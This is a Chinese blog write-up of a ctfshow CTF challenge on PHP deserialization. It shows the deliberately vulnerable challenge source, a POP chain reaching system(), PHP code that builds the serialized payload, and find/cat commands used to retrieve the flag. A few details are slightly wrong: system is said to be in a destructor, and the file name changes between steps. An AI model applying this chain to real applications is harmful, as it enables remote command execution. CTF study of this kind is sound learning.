1. 程式人生 > 其它 >ctfshow-擊劍杯-esaypop(反序列化構造pop鏈)

ctfshow-擊劍杯-esaypop(反序列化構造pop鏈)

題目地址:https://ctf.show/challenges

題目原始碼:

 <?php 
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,沒有人可以再繞過我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送給你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也沒有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑進這裡並給你了一個提示:檔名是f開頭的形如fA6_形式的檔案";
            die("不可以用偽協議哦");
        }
}

審計第一步找到有用的執行函式,找到action3裡面的system,發現system在action3的解構函式中,也就是需要new action()才行,跟進找到action4中的append函式中包含 echo new $ctf($show); 而__invoke()函式呼叫的append,所以我們需要觸發action4中的invoke函式,那就需要找到能將action4當做函式執行的,action2中的__get()方法就可以將控制$p為然後將$p當做函式執行,那麼現在問題變成如何觸發__get()方法,剛好action4裡面有一句echo $this->ran->$jia;

,那麼如果讓$ran賦值為類action2,而action2裡面沒有$jia,導致了觸發__get()方法,所以這裡就是是入口了

pop鏈為:action4中的$this->ran->$jia->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);

然後再看傳參,$rce就是傳過來的$show,,所以$show=需要執行的命令

payload:

$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '語句';
echo urlencode(serialize($obj4));

這裡的語句先執行find / -name f[A-z][0-9]_*,因為給的提示並不直接,饒了一下,直接找fA6_*是找不到的,然後發現檔名為fz3_.txt,再執行cat /fz3.txt(此處是我執行反彈shell失敗了,不然的話不用踩這個檔名的坑)

ps:本體官方也有wp,不過思路有些不一樣而已,這要是我想大佬諮詢所得,僅當做個人學習的參考~

It is never too late to learn 個人部落格:yiaho.cn